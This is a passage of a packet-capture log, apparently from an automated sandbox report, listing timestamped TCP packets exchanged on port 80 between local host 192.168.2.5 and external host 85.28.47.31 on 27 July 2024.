Jul 27, 2024 09:25:04.856391907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856401920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.856425047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856434107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.856466055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856473923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.856515884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.856532097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856565952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856575966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.856601954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856616974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.856637001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856642008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.856671095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856683016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.856704950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856718063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.856738091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856749058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.856780052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.856820107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856853962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856867075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.856887102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856898069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.856920004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856929064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.856952906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856987000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.857001066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.857001066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.857018948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.857032061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.857068062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.857069016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.857104063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.857116938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.857136965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.857151031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.857170105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.857175112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.857203960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.857213020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.857233047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.857259989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.857274055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.857431889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.857465029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.857495070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.857500076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.857510090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.857556105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.857573032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.857606888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.857620955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.857640982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.857650995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.857675076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.857692003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.857711077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.857717037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.857754946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.857794046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.857825994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.857835054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.857858896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.857871056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.857892036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.857903004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.857924938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.857940912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.857958078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.857964993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.858006001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.858042955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.858076096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.858086109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.858108997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.858118057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.858141899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.858151913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.858175993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.858191013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.858220100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.858371019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.858403921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.858429909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.858438015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.858444929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.858481884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.858489037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.858520985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.858531952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.858555079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.858565092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.858589888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.858597994 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.858632088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.858675003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.858706951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.858737946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.858741045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.858752966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.858772993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.858783007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.858805895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.858815908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.858838081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.858853102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.858872890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.858876944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.858900070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.858922005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.858944893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.861584902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.861637115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.861639023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.861671925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.861680031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.861715078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.861722946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.861756086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.861767054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.861799955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.861807108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.861839056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.861855984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.861871958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.861881018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.861906052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.861916065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.861941099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.861951113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.861984968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.861999035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.862034082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.862042904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.862066984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.862077951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.862101078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.862117052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.862134933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.862142086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.862175941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.945612907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.945683002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.945713043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.945719004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.945753098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.945790052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.945874929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.945874929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.945874929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.945875883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.947881937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.947953939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.947954893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.947989941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948000908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948035002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948044062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948080063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948088884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948117971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948127031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948167086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948169947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948203087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948215008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948246002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948252916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948288918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948307037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948323965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948333025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948364019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948374033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948407888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948421001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948441029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948452950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948512077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948523045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948559999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948587894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948594093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948609114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948623896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948637009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948673964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948683023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948707104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948721886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948740959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948765039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948775053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948785067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948820114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948827982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948862076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948889971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948894024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948904991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948926926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948935986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948959112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.948987007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.948992014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949002028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949039936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949042082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949074984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949104071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949107885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949121952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949140072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949151039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949168921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949187040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949218035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949220896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949251890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949260950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949282885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949311018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949320078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949330091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949352980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949369907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949384928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949394941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949417114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949434996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949450016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949460030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949482918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949498892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949516058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949529886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949553967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949558973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949587107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949595928 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949620008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949645996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949654102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949662924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949686050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949702978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949718952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949728012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949763060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949769020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949801922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949826956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949834108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949846029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949867964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949881077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949899912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949909925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949948072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.949949026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.949979067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950007915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950023890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950027943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950063944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950076103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950095892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950108051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950126886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950139046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950155973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950181961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950187922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950216055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950222969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950231075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950254917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950269938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950289011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950301886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950333118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950339079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950372934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950398922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950406075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950414896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950438023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950455904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950479984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950489044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950520992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950531960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950551987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950563908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950584888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950611115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950620890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950629950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950663090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950670004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950702906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950719118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950737000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950745106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950782061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950789928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950824022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950850964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950855970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950865984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950889111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950902939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950943947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950953960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.950978041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.950993061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951009989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951020002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951044083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951054096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951078892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951103926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951119900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951128006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951160908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951178074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951194048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951204062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951241016 CEST	49704	80	192.168.2.5	85.28.47.31
